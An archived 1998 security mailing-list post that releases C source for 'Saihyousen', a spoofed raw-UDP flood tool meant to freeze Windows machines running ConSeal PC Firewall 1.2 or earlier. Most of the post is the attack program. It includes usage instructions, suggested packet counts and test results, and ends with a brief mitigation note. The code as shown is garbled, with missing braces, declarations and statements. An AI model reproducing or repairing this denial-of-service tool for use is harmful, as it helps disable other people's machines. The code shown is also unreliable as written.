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TUCoPS :: Windows Net Apps :: conseal.txt

ConSeal PC Firewall is vulnerable to a simple DoS attack prior to version 1.2.

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Date:         Tue, 1 Sep 1998 12:13:44 -0400
From:         Max Schau <wage@IDIRECT.CA>
Subject:      ConSeal PC Firewall killer

    This is a pretty easy DoS against ConSeal PC Firewall.  It only works on
the versions that predate June 1998 (because I notified them of the problem
and they had fixed it within a week) which is version 1.2 or less.  But all
the little warez pups out there still have the older versions that this
works against.

This is nothing too special, but a flat out flood didn't work, I had to
throw in some stuff to change the IPs and I found it froze the machine
faster if the ports also changed. Saihyousen causes Conseal to eat up ALL of
the available resources and can result in a very messy reboot if the attack
continues for about 10-30 seconds after the machine froze.

At the end of the program it has what you can do to save yourselves, but for
those of you that paid for the software just get the most recent version
just to be certain.

Here comes the source code, I'm kind of new at programming in C so don't
bother telling me that I suck, just make it better and mail it to me.

/* Saihyousen Attack (*Japanese* Ice Breaker), By Noc-Wage (M.C.S.R)
 * Base code from arnudp.c but HEAVILY modified. Originally written
 * sometime early April 1998, I'm a little fuzzy as to the date.
 * I take no responsibility for the actions of any script kiddies who
 * think that running this against some one is a fun way to pass away
 * their useless lives.  I also in NO WAY claim to be good at
 * programming, so modify it all you want, just leave credit to me
 * and PLEASE send me a copy of your modified code.
 * I chose ice breaker because the night before writing this program
 * I read through all of William Gibson's Neuromancer while cradling
 * an empty bottle of Canadian Club and sick with the flu.
 * The way this program kills the machine happens in 2 ways
 * #1 If Conseal is set for "learning" mode the flooding packets from
 * all the different IPs and ports will cause the program to continously

 * attempt to write more and more new rules.  This eventually uses up
 * all the resources and results in a freeze and eventually a reboot.
 * #2 If ConSeal is set to log attacks, once again because of the number

 * of packets the system resources are eaten up and the machine dies.
 * I tested dx2/66 running RedHat 4.0 (12 megs of ram)
 * as the attacker and a Pentium 233 (64 megs of ram)
 * as the victim.  Using ConSeal The pentium 233 froze after about 5
 * seconds of attack. (This is on an ethernet, but I had done live
 * over ppp connection (33.6/28.8) and it took only  few more seconds.
 * Because the packets are so small a 28.8 dial-up would not get lag at
 * all, 14.4 would get minor after about 20,000 packets.  So send as
 * as you want, generally 40,000 will kill anything.
 * Shouts: My foolish friend who's addicted to ICQ: Essence
 *    #Snickers especially humble(horizon), colonwq, n`tropy, sheenie,
 *         Howdy to fellow Miltonians Acid_Red (Mully and Tom)
 *     #hackers, `Lo SUidRoot, iCBM, drsmoke, EPiC, trix, modred, halt
 *         And all the rest!
 *     Don't we all miss TRON?
 *    Nullifier, my cousin (Hey Al H***)

/* Should compile on all linux, not too sure about BSD, if you modify it
to make
 * it better in some way please mail it too me, I'd be interested in
seeing it. */

#include <stdlib.h>
#include <arpa/inet.h>
#define u_char unsigned char
#define u_short unsigned short

struct sockaddr sa;

int main(int argc,char **argv)
int fd;
int x=1;
int hosti=192;
int hostii=168;
int hostiii=1;
int meep=0;
int fooport=1;
int numpack=0;
char funhost[15];
struct sockaddr_in *p;
struct hostent *he;
u_char gram[36]=
 0x45, 0x00, 0x00, 0x26,
 0x12, 0x34, 0x00, 0x00,
 0xFF, 0x11, 0, 0,
 0, 0, 0, 0,
 0, 0, 0, 0,

 0, 0, 0, 0,
 0x00, 0x12, 0x00, 0x00,


 fprintf(stderr,"Saihyousen, by Noc-Wage\n");
 fprintf(stderr,"The faster your connection to the internet is (latency
wise, not bandwidth)\n");
 fprintf(stderr,"and the lower the CPU speed of the victim
will\nincrease probability of success\n");
 fprintf(stderr,"usage: %s victim num_of_packets Ex: saihyousen 40000\n",*argv);
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
 perror("requires RAW SOCKETS");

if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
 perror("setsockopt IP_HDRINCL");
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");

/* The stuff below is so that it's not fully sequential  i.e,  */
for (numpack=0;numpack<=atoi(argv[2]);numpack++) {
 if (meep==0) { ++hosti; meep++; }
 if (hosti>254) hosti=1;
 if (meep==1) { ++hostii; meep++;}
 if (hostii>254) hostii=1;
 if (meep==2) { ++hostiii; meep=0;}
 if (hostiii>254) hostiii=1;

sprintf( funhost, "%i.%i.%i.%i",hosti,hostii,hostiii,hosti);

 fprintf(stderr,"can't resolve destination hostname\n");
/* resets the port to 1 if it's nearing the end of possible values */
if (fooport>65530) {fooport=1;};

p=(struct sockaddr_in*)&sa;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));

if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct
sockaddr)))== -1)
/* printf("Packet # %i\n", numpack); */
/* Turn that on to see where you are.. it'll slow the attack though */
printf("Attack against %s finished", argv[1]);
return 1;

/* How to protect yourself?
 * Well it's fairly simple, disable learning and logging mode.
 * Signal9 has been made aware of this problem LONG before I decided
 * to release it, so people who actually paid for it and keep their copy

 * updated should have no problems.  Those of you out there who used
 * a crack or a key generator are probably the type that sit on IRC
 * warez channels all day. As we all know IRC is a very dangerous
 * place for warez pups so I guess you aren't as protected as you may
 * think.
 * you can download and upgrade the exsisting
 * copy that you own.
 * Don't come crying to me if your pirated copy of a rather inexpensive
 * piece of software blows up in your face.

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